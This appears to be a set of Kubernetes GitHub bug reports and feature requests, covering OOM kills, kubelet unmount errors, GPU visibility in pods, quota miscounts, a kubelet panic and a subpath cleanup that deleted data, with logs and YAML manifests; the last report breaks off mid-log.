is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no.\r \r \r   is this a bug report or feature request?    choose one : feature request\r \r in  kubernetes/pkg/controller/endpoint/endpoints_controller.go  we have  syncservice   that perform unnecessary shallow copy on pods   line 343   : \r \r - we get the pods from the cache i think\r - we do not mutate the pods  i.e only reading values \r \r so we can avoid this deepcopy i think.\r \r

we already announced deprecation of  .spec.templategeneration  of extensions/v1beta1 daemonset in 1.7. \r \r moving forward in 1.8, we'll need to:\r   add an  deprecated.daemonset.template.generation=<generation>  annotation  tentative name  to support conversion between extensions/v1beta1 daemonset and apps/v1beta2 daemonset. \r   keep existing  templategeneration  behavior for backward compatibility. \r \r @kubernetes/sig-apps-misc

 \r   what happened  :\r \r a pod container reached its memory limit. then the oom-killer killed only one process within the container. this container has a uwsgi python server which gave this error in its logs:\r \r    \r damn ! worker 1  pid: 1432  died, killed by signal 9 :  trying respawn ...\r respawned uwsgi worker 1  new pid: 1473 \r    \r \r the only errors i could find in k8s were in the syslog on the node:\r \r    \r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.105281  uwsgi invoked oom-killer: gfp_mask=0x24000c0, order=0, oom_score_adj=-998\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.109569  uwsgi cpuset=05d27aafc4e80e117506eb5da77dea2d881129d8db17466d31c0cc8ad8e13c52 mems_allowed=0\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.115236  cpu: 0 pid: 13965 comm: uwsgi tainted: g            e   4.4.65-k8s  1\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.118330  hardware name: xen hvm domu, bios 4.2.amazon 02/16/2017\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445   0000000000000286 00000000a2a9f130 ffffffff812f67b5 ffff880011423e20\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445   ffff8801fd092800 ffffffff811d8855 ffffffff81826173 ffff8801fd092800\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445   ffffffff81a6b740 0000000000000206 0000000000000002 ffff8800e9f10ab8\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445  call trace:\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445    <ffffffff812f67b5>  ? dump_stack+0x5c/0x77\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445    <ffffffff811d8855>  ? dump_header+0x62/0x1d7\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445    <ffffffff8116ded1>  ? oom_kill_process+0x211/0x3d0\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445    <ffffffff811d0f4f>  ? mem_cgroup_iter+0x1cf/0x360\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445    <ffffffff811d2de3>  ? mem_cgroup_out_of_memory+0x283/0x2c0\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445    <ffffffff811d3abd>  ? mem_cgroup_oom_synchronize+0x32d/0x340\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445    <ffffffff811cf170>  ? mem_cgroup_begin_page_stat+0x90/0x90\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445    <ffffffff8116e5b4>  ? pagefault_out_of_memory+0x44/0xc0\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.120445    <ffffffff815a65b8>  ? page_fault+0x28/0x30\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.200077  task in /kubepods/pod71cf1407-73c1-11e7-8d6e-063b53e2a39f/05d27aafc4e80e117506eb5da77dea2d881129d8db17466d31c0cc8ad8e13c52 killed as a result of limit of /kubepods/pod71cf1407-73c1-11e7-8d6e-063b53e2a39f\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.209412  memory: usage 256000kb, limit 256000kb, failcnt 379\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.212293  memory+swap: usage 0kb, limit 9007199254740988kb, failcnt 0\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.215517  kmem: usage 0kb, limit 9007199254740988kb, failcnt 0\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.219331  memory cgroup stats for /kubepods/pod71cf1407-73c1-11e7-8d6e-063b53e2a39f: cache:0kb rss:0kb rss_huge:0kb mapped_file:0kb dirty:0kb writeback:0kb inactive_anon:0kb active_anon:0kb inactive_file:0kb active_file:0kb unevictable:0kb\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.231158  memory cgroup stats for /kubepods/pod71cf1407-73c1-11e7-8d6e-063b53e2a39f/d836fcdfc1ab1f1d4ec7a49ba763b8770015248f3b7da43bdb0948faee5d6163: cache:0kb rss:36kb rss_huge:0kb mapped_file:0kb dirty:0kb writeback:0kb inactive_anon:0kb active_anon:36kb inactive_file:0kb active_file:0kb unevictable:0kb\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.245937  memory cgroup stats for /kubepods/pod71cf1407-73c1-11e7-8d6e-063b53e2a39f/05d27aafc4e80e117506eb5da77dea2d881129d8db17466d31c0cc8ad8e13c52: cache:696kb rss:255268kb rss_huge:0kb mapped_file:696kb dirty:0kb writeback:0kb inactive_anon:300kb active_anon:255652kb inactive_file:0kb active_file:0kb unevictable:0kb\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.260703    pid     uid  tgid total_vm      rss nr_ptes nr_pmds swapents oom_score_adj name\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.265697    6726      0  6726      257        1       4       2        0          -998 pause\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.270433    6857      1  6857    29473     2393      29       3        0          -998 uwsgi\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.274906   13957      1 13957   385176    66344     270       5        0          -998 uwsgi\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.279180  memory cgroup out of memory: kill process 13957  uwsgi  score 42 or sacrifice child\r aug 14 12:06:33 ip-172-20-157-22 kernel:  1620280.283460  killed process 13957  uwsgi  total-vm:1540704kb, anon-rss:252808kb, file-rss:12568kb\r    \r \r   what you expected to happen  :\r \r i expected the whole container/pod to be terminated  and then restarted by the replica-set controller . i also expected to see \ restarts\  count above 0 on the pods, and events in the pod or replica-set.\r \r according to documentation at https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/ exceed-a-containers-memory-limit the whole container should be terminated:\r \r > if a container allocates more memory than its limit, the container becomes a candidate for termination. if the container continues to to consume memory beyond its limit, the container is terminated. if a terminated container is restartable, the kubelet will restart it, as with any other type of runtime failure.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup a multi-process server in a pod, e.g. uwsgi and django, where the uwsgi is the main process started in the container by k8s. then have the child process use up more memory than the container limit.\r \r   anything else we need to know?  :\r \r another nice-to-have would be for the endpoint of a container that reaches the mem limit to immediately become not-ready and endpoints to be taken out of services until it passes health checks again. because of the hard sigkill, we're not able to gracefully handle this condition and client connections get dropped. i saw the workaround in  40157, so we will try that.\r \r \r   environment  :\r - kubernetes version: v1.6.4\r - cloud provider or hardware configuration: aws\r - os: debian gnu/linux 8  jessie \r - kernel: 4.4.65-k8s\r - install tools: kops\r - others:\r

 \r during an update of a statefulset  ondelete, manually deleteting instances  twice  out of 125  happened this, kept repeating in the log for some time until i restarted the kubelet:\r    \r i0818 10:57:02.332181    2235 reconciler.go:186  operationexecutor.unmountvolume started for volume \ barrels\   uniquename: \ kubernetes.io/local-volume/1d8e3815-8272-11e7-a205-1402ec40deb8-finder-barrels-111\   pod \ 1d8e3815-8272-11e7-a205-1402ec40deb8\   uid: \ 1d8e3815-8272-11e7-a205-1402ec40deb8\   \r i0818 10:57:02.332264    2235 reconciler.go:186  operationexecutor.unmountvolume started for volume \ default-token-nftzh\   uniquename: \ kubernetes.io/secret/1d8e3815-8272-11e7-a205-1402ec40deb8-default-token-nftzh\   pod \ 1d8e3815-8272-11e7-a205-1402ec40deb8\   uid: \ 1d8e3815-8272-11e7-a205-1402ec40deb8\   \r e0818 10:57:02.332459    2235 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/secret/1d8e3815-8272-11e7-a205-1402ec40deb8-default-token-nftzh\\\   \\\ 1d8e3815-8272-11e7-a205-1402ec40deb8\\\  \  failed. no retries permitted until 2017-08-18 10:59:04.332431424 +0200 cest  durationbeforeretry 2m2s . error: unmountvolume.teardown failed for volume \ default-token-nftzh\   uniquename: \ kubernetes.io/secret/1d8e3815-8272-11e7-a205-1402ec40deb8-default-token-nftzh\   pod \ 1d8e3815-8272-11e7-a205-1402ec40deb8\   uid: \ 1d8e3815-8272-11e7-a205-1402ec40deb8\   : remove /kubernetes/root/pods/1d8e3815-8272-11e7-a205-1402ec40deb8/volumes/kubernetes.io~secret/default-token-nftzh: device or resource busy\r w0818 10:57:02.333396    2235 util.go:105  warning: \ /kubernetes/root/pods/1d8e3815-8272-11e7-a205-1402ec40deb8/volumes/kubernetes.io~local-volume/finder-barrels-111\  is not a mountpoint, deleting\r e0818 10:57:02.333444    2235 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/local-volume/1d8e3815-8272-11e7-a205-1402ec40deb8-finder-barrels-111\\\   \\\ 1d8e3815-8272-11e7-a205-1402ec40deb8\\\  \  failed. no retries permitted until 2017-08-18 10:59:04.333427682 +0200 cest  durationbeforeretry 2m2s . error: unmountvolume.teardown failed for volume \ barrels\   uniquename: \ kubernetes.io/local-volume/1d8e3815-8272-11e7-a205-1402ec40deb8-finder-barrels-111\   pod \ 1d8e3815-8272-11e7-a205-1402ec40deb8\   uid: \ 1d8e3815-8272-11e7-a205-1402ec40deb8\   : remove /kubernetes/root/pods/1d8e3815-8272-11e7-a205-1402ec40deb8/volumes/kubernetes.io~local-volume/finder-barrels-111: device or resource busy\r    \r actual state: folders were first unmounted and then even deleted, yet kubelet kept spamming ^\r    \r   ll /kubernetes/root/pods/1d8e3815-8272-11e7-a205-1402ec40deb8/volumes/kubernetes.io~local-volume/finder-barrels-111:\r ls: cannot access /kubernetes/root/pods/1d8e3815-8272-11e7-a205-1402ec40deb8/volumes/kubernetes.io~local-volume/finder-barrels-111:: no such file or directory\r   ll /kubernetes/root/pods/1d8e3815-8272-11e7-a205-1402ec40deb8/volumes/kubernetes.io~secret/default-token-nftzh:\r ls: cannot access /kubernetes/root/pods/1d8e3815-8272-11e7-a205-1402ec40deb8/volumes/kubernetes.io~secret/default-token-nftzh:: no such file or directory\r    \r \r restarting kubelet fixed it. sadly i will be gone for a week and cannot help track it down in the source code as of right now so if somebody wants to help, feel free to, please.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3 kubelet\r - cloud provider or hardware configuration  : custom\r - kernel  e.g.  uname -a  : rhel7.3

is this a bug report or feature request?  :\r   \r \r   what happened  :\r i setup a kubernetes with gpu, and i try to use nvidia-smi inside pod to see the gpu usage. \r before i run any gpu supported code, i can see the nvidia-smi output of host and pod are the same. \r from host:\r    sh\r root@gtx1080-8-32:~  nvidia-smi\r thu apr 19 15:45:31 2018\r +-----------------------------------------------------------------------------+\r | nvidia-smi 390.25                 driver version: 390.25                    |\r |-------------------------------+----------------------+----------------------+\r | gpu  name        persistence-m| bus-id        disp.a | volatile uncorr. ecc |\r | fan  temp  perf  pwr:usage/cap|         memory-usage | gpu-util  compute m. |\r |===============================+======================+======================|\r |   0  geforce gtx 108...  off  | 00000000:04:00.0 off |                  n/a |\r | 23%   27c    p8    16w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   1  geforce gtx 108...  off  | 00000000:05:00.0 off |                  n/a |\r | 23%   29c    p8    15w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   2  geforce gtx 108...  off  | 00000000:08:00.0 off |                  n/a |\r | 23%   28c    p8    15w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   3  geforce gtx 108...  off  | 00000000:09:00.0 off |                  n/a |\r | 23%   28c    p8    16w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   4  geforce gtx 108...  off  | 00000000:84:00.0 off |                  n/a |\r | 23%   31c    p8    16w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   5  geforce gtx 108...  off  | 00000000:85:00.0 off |                  n/a |\r | 23%   31c    p8    16w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   6  geforce gtx 108...  off  | 00000000:88:00.0 off |                  n/a |\r | 23%   29c    p8    17w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   7  geforce gtx 108...  off  | 00000000:89:00.0 off |                  n/a |\r | 23%   31c    p8    16w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r \r +-----------------------------------------------------------------------------+\r | processes:                                                       gpu memory |\r |  gpu       pid   type   process name                             usage      |\r |=============================================================================|\r |  no running processes found                                                 |\r +-----------------------------------------------------------------------------+\r \r    \r \r i only use one gpu in this pod, so only one gpu is shown from nvidia-smi in pod: \r    sh\r root@gpu-pod:/notebooks  nvidia-smi\r thu apr 19 07:45:16 2018\r +-----------------------------------------------------------------------------+\r | nvidia-smi 390.25                 driver version: 390.25                    |\r |-------------------------------+----------------------+----------------------+\r | gpu  name        persistence-m| bus-id        disp.a | volatile uncorr. ecc |\r | fan  temp  perf  pwr:usage/cap|         memory-usage | gpu-util  compute m. |\r |===============================+======================+======================|\r |   0  geforce gtx 108...  off  | 00000000:89:00.0 off |                  n/a |\r | 23%   32c    p8    16w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r \r +-----------------------------------------------------------------------------+\r | processes:                                                       gpu memory |\r |  gpu       pid   type   process name                             usage      |\r |=============================================================================|\r |  no running processes found                                                 |\r +-----------------------------------------------------------------------------+\r    \r \r but when i run something, i only can get gpu usage from host, and can not get gpu usage from pod. \r i can see a python  pid 42098  use gpu 7 from host, but this information is not available inside pod.\r \r    sh\r root@gtx1080-8-32:~  nvidia-smi\r thu apr 19 15:45:41 2018\r +-----------------------------------------------------------------------------+\r | nvidia-smi 390.25                 driver version: 390.25                    |\r |-------------------------------+----------------------+----------------------+\r | gpu  name        persistence-m| bus-id        disp.a | volatile uncorr. ecc |\r | fan  temp  perf  pwr:usage/cap|         memory-usage | gpu-util  compute m. |\r |===============================+======================+======================|\r |   0  geforce gtx 108...  off  | 00000000:04:00.0 off |                  n/a |\r | 23%   27c    p8    15w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   1  geforce gtx 108...  off  | 00000000:05:00.0 off |                  n/a |\r | 23%   29c    p8    15w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   2  geforce gtx 108...  off  | 00000000:08:00.0 off |                  n/a |\r | 23%   28c    p8    15w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   3  geforce gtx 108...  off  | 00000000:09:00.0 off |                  n/a |\r | 23%   28c    p8    16w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   4  geforce gtx 108...  off  | 00000000:84:00.0 off |                  n/a |\r | 23%   31c    p8    16w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   5  geforce gtx 108...  off  | 00000000:85:00.0 off |                  n/a |\r | 23%   31c    p8    16w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   6  geforce gtx 108...  off  | 00000000:88:00.0 off |                  n/a |\r | 23%   29c    p8    17w / 250w |      0mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r |   7  geforce gtx 108...  off  | 00000000:89:00.0 off |                  n/a |\r | 23%   32c    p2    55w / 250w |  10631mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r \r +-----------------------------------------------------------------------------+\r | processes:                                                       gpu memory |\r |  gpu       pid   type   process name                             usage      |\r |=============================================================================|\r |    7     42098      c   python                                     10621mib |\r +-----------------------------------------------------------------------------+\r \r    \r \r    sh\r root@gpu-pod:/notebooks  nvidia-smi\r thu apr 19 07:45:57 2018\r +-----------------------------------------------------------------------------+\r | nvidia-smi 390.25                 driver version: 390.25                    |\r |-------------------------------+----------------------+----------------------+\r | gpu  name        persistence-m| bus-id        disp.a | volatile uncorr. ecc |\r | fan  temp  perf  pwr:usage/cap|         memory-usage | gpu-util  compute m. |\r |===============================+======================+======================|\r |   0  geforce gtx 108...  off  | 00000000:89:00.0 off |                  n/a |\r | 23%   34c    p2    51w / 250w |  10631mib / 11178mib |      0%      default |\r +-------------------------------+----------------------+----------------------+\r \r +-----------------------------------------------------------------------------+\r | processes:                                                       gpu memory |\r |  gpu       pid   type   process name                             usage      |\r |=============================================================================|\r +-----------------------------------------------------------------------------+\r \r    \r \r \r   what you expected to happen  :\r there should be same gpu usage result when i call nvidia-smi inside pod. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.9.3\r \r - cloud provider or hardware configuration:\r bare mental\r \r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r \r - kernel  e.g.  uname -a  :\r  4.4.0-116-generic\r \r - install tools:\r \r - others:\r

 \r   what happened  :\r \r currently hpa code issues a get request to api server every time it analyses pods to be scaled. this introduces significant latency and reduces hpa controller throughput.  \r \r   what you expected to happen  :\r \r use informers local cache to reduce api server load and improve performance. \r \r https://github.com/kubernetes/kubernetes/blob/5b355f5d408c80234b4016a84b4d7c8159db21d7/cmd/kube-controller-manager/app/autoscaling.go l85\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it is happening every time hpa is used. \r \r cc: @directxman12 @krzysztof-jastrzebski \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r short description:\r null pointer dereference or panic in term of golang.\r \r pod with following specification\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: testpod\r   labels:\r     env: test\r spec:\r   containers:\r   - name: appneutroncntr1 \r     image: joffotron/docker-net-tools\r     imagepullpolicy: ifnotpresent\r    \r \r rising crash in makeenvironmentvariables, due to after factoring out in series of commits 42da186b629b7edaaeada9acfdaa0b610e0e842f,\r e8366c8e99791045a9c8fb2cd2bb46a8ea53d500, when getserviceenvvarmap is called.\r journalctl log is following:\r \r    \r oct 06 18:47:06 minion0.k8s kubelet 4774 : i1006 18:47:06.458520    4774 server.go:459  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ testpod\ , uid:\ 00c45be4-c97f-11e8-add4-525400a2a88b\ , apiversion:\ v1\ , resourceversion:\ 343041\ , fieldpath:\ spec.containers{appneutroncntr1}\ } : type: 'normal' reason: 'pulled' container image \ joffotron/docker-net-tools\  already present on machine\r oct 06 18:47:06 minion0.k8s kubelet 4774 : e1006 18:47:06.458574    4774 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r oct 06 18:47:06 minion0.k8s kubelet 4774 : staging/src/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r oct 06 18:47:06 minion0.k8s kubelet 4774 : staging/src/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r oct 06 18:47:06 minion0.k8s kubelet 4774 : staging/src/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r oct 06 18:47:06 minion0.k8s kubelet 4774 : goroot/src/runtime/asm_amd64.s:573\r oct 06 18:47:06 minion0.k8s kubelet 4774 : goroot/src/runtime/panic.go:502\r oct 06 18:47:06 minion0.k8s kubelet 4774 : goroot/src/runtime/panic.go:63\r oct 06 18:47:06 minion0.k8s kubelet 4774 : goroot/src/runtime/signal_unix.go:388\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/kubelet_pods.go:553\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/kubelet_pods.go:456\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/kuberuntime/kuberuntime_container.go:192\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/kuberuntime/kuberuntime_container.go:115\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/kuberuntime/kuberuntime_manager.go:741\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/kubelet.go:1664\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/kubelet.go:818\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/pod_workers.go:174\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/pod_workers.go:183\r oct 06 18:47:06 minion0.k8s kubelet 4774 : pkg/kubelet/pod_workers.go:221\r oct 06 18:47:06 minion0.k8s kubelet 4774 : goroot/src/runtime/asm_amd64.s:2361\r oct 06 18:47:07 minion0.k8s kubelet 4774 : i1006 18:47:07.953184    4774 cni.go:161  using cni configuration file /etc/cni/net.d/10-flannel.conf\r    \r if we will trace pod.podspec in this case we'll find that enableservicelinks is nil.\r    \r oct 06 18:51:59 minion0.k8s kubelet 6645 : i1006 18:51:59.969035    6645 kubelet_pods.go:555  pod.spec: { {default-token-254z7 {nil nil nil nil nil &secretvolumesource{secretname:default-token-254z7,items:  ,defaultmode: 420,optional:nil,} nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil}}      {appneutroncntr1 joffotron/docker-net-tools                 {map   map  }  {default-token-254z7 true /var/run/secrets/kubernetes.io/serviceaccount  <nil>}     nil nil nil /dev/termination-log file ifnotpresent nil false false false}  always 0xc4211a06f8 <nil> clusterfirst map   default default <nil> minion0.k8s false false false <nil> &podsecuritycontext{selinuxoptions:nil,runasuser:nil,runasnonroot:nil,supplementalgroups:  ,fsgroup:nil,runasgroup:nil,sysctls:  ,}      nil default-scheduler  {node.kubernetes.io/not-ready exists  noexecute 0xc4211a0700} {node.kubernetes.io/unreachable exists  noexecute 0xc4211a0708}      0xc4211a0710 nil    <nil> <nil>}\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1326+8d8ea6a6b07570-dirty\ , gitcommit:\ 8d8ea6a6b07570d50c5246ebaa56020602558670\ , gittreestate:\ dirty\ , builddate:\ 2018-10-03t11:43:21z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1325+fdc199a4f3f0e9-dirty\ , gitcommit:\ fdc199a4f3f0e96a072537baea9847970d78ca5f\ , gittreestate:\ dirty\ , builddate:\ 2018-09-19t16:37:27z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r it was build on top of commit: 6764bc495e2ff2e80d2bbac7fe2c3c4ede27801d\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : linux/ rhel 7.4\r - kernel  e.g.  uname -a  : linux minion0.k8s 3.10.0-693.el7.x86_64  1 smp thu jul 6 19:56:57 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r maybe    \r   what happened  :\r sysctl withelist and blanklist is not appear in node information.\r   what you expected to happen  :\r sysctl withelist and blacklist should appear in node information.\r   how to reproduce it  as minimally and precisely as possible   :\r anytime.\r \r   anything else we need to know?  :\r @kubernetes/sig-node-feature-requests\r @kubernetes/sig-scheduling-feature-requests\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when i have  resource quota, and i create some pods from file. all is ok.\r when i fail to create a pod and  quota's status 's used  will add 1.\r \r if we delete or update pod this wrong count will be updated  to be a right count.\r or 5 min after the quota controller will update quota to be a right status.\r \r in api-server code. i find the quota will  update at first. and then try to create a pod. and if create pod failed but the quota doesn't roll back\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r this is easy to reproduce\r 1. create a  resource quota name \ quota\ .\r 2. create a pod named \ test-pod\ \r 3. create another pod named \ test-pod\  too.\r 4. create pod failed .and  kubectl get quota quota -o yaml  can see wrong counts.\r \r  \r  root@vm_128_15_centos ~   kubectl create -f pod.yaml\r pod \ myapp-pod\  created \r   root@vm_128_15_centos ~   kubectl get quota quota -o yaml\r  \r  \r  root@vm_128_15_centos ~   kubectl create -f pod.yaml\r error from server  alreadyexists : error when creating \ pod.yaml\ : pods \ myapp-pod\  already exists\r  \r   root@vm_128_15_centos ~   kubectl get quota quota -o yaml \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.13\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r network for all nodes of kubernetes cluster  29 hosts  was turned off for a day. once the network was brought back, we've scaled down a statefulset that mounts a  subpath  from local volume which  path  on a root drive and then scaled it back up to previous number of replicas. kubelet on 26 out of 29 hosts proceeded with removing all data from subpaths of the pod. in fact, it was ongoing, such that when we'd create a file on a mounted subpath within the container, the file would be cleaned up within a couple of seconds. the issue would continue until volume-subpath was manually unmounted  with  unmount  command .\r \r ended up removing 3rd of all of our data  we have 3 drives per host and one was wiped  for the whole cluster.\r \r equivalent definition. note that  host path of local volume has to be on root drive :\r    \r ---\r apiversion: v1\r kind: service\r metadata:\r   name: busybox\r spec:\r   ports:\r   - port: 1234\r     name: placeholder\r   clusterip: none\r   selector:\r     app: busybox\r ---\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: \ test-volume\ \r   namespace: default\r spec:\r   capacity:\r     storage: 1gi\r   accessmodes:\r   - readwriteonce\r   persistentvolumereclaimpolicy: retain\r   storageclassname: test-data\r   local:\r     path: /volume/subpath\r   nodeaffinity:\r     required:\r       nodeselectorterms:\r       - matchexpressions:\r         - key: kubernetes.io/hostname\r           operator: in\r           values:\r           - \ examplehost.com\ \r ---\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: busybox\r   namespace: default\r spec:\r   servicename: hbase\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: busybox\r     spec:\r       containers:\r       - name: server\r         image: busybox\r         command:\r         - sleep\r         - \ 36000\ \r         volumemounts:\r         - name: data\r           subpath: subpath\r           mountpath: /subpath\r   volumeclaimtemplates:\r   - metadata:\r       name: data\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: test-data\r       resources:\r         requests:\r           storage: 1gi\r    \r \r kubelet logs  filtered out logs from other pods  during the issue:\r    \r dec 11 20:32:44 <hostname> kubelet-1.13.0 11504 : e1211 20:32:44.240919   11504 desired_state_of_world_populator.go:296  error processing volume \ data1\  for pod \ datanode-19_default 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2 \ : error processing pvc \ default\ /\ data1-datanode-19\ : failed to fetch pvc default/data1-datanode-19 from api server. err=get https://<master>/api/v1/namespaces/default/persistentvolumeclaims/data1-datanode-19: dial tcp <masterip>:443: connect: network is unreachable\r ... network came back up ...\r ... rescaled statefulset ...\r dec 11 21:20:40 <hostname> kubelet-1.13.0 11504 : e1211 21:20:40.606405   11504 remote_runtime.go:119  stoppodsandbox \ c139242352da780cf22f10bc6514d59b737f1cfd6b3462893c133251a3cebbd4\  from runtime service failed: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ datanode-19_default\  network: could not retrieve port mappings: checkpoint is corrupted\r dec 11 21:20:40 <hostname> kubelet-1.13.0 11504 : e1211 21:20:40.606435   11504 kuberuntime_manager.go:815  failed to stop sandbox {\ docker\  \ c139242352da780cf22f10bc6514d59b737f1cfd6b3462893c133251a3cebbd4\ }\r dec 11 21:20:40 <hostname> kubelet-1.13.0 11504 : e1211 21:20:40.606479   11504 kubelet.go:1576  error killing pod: failed to \ killpodsandbox\  for \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ datanode-19_default\\\  network: could not retrieve port mappings: checkpoint is corrupted\ \r dec 11 21:20:40 <hostname> kubelet-1.13.0 11504 : e1211 21:20:40.606490   11504 pod_workers.go:190  error syncing pod 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2  \ datanode-19_default 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2 \  , skipping: error killing pod: failed to \ killpodsandbox\  for \ 9af0d50b-50f1-11e8-b37b-ac1f6b10eed2\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ datanode-19_default\\\  network: could not retrieve port mappings: checkpoint is corrupted\ \r dec 11 21:20:40 <hostname> kubelet-1.13.0 11504 : w1211 21:20:40.876177   11504 docker_sandbox.go:384  failed to read pod ip from plugin/docker: networkplugin cni failed on the status hook for pod \ datanode-19_default\ : cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 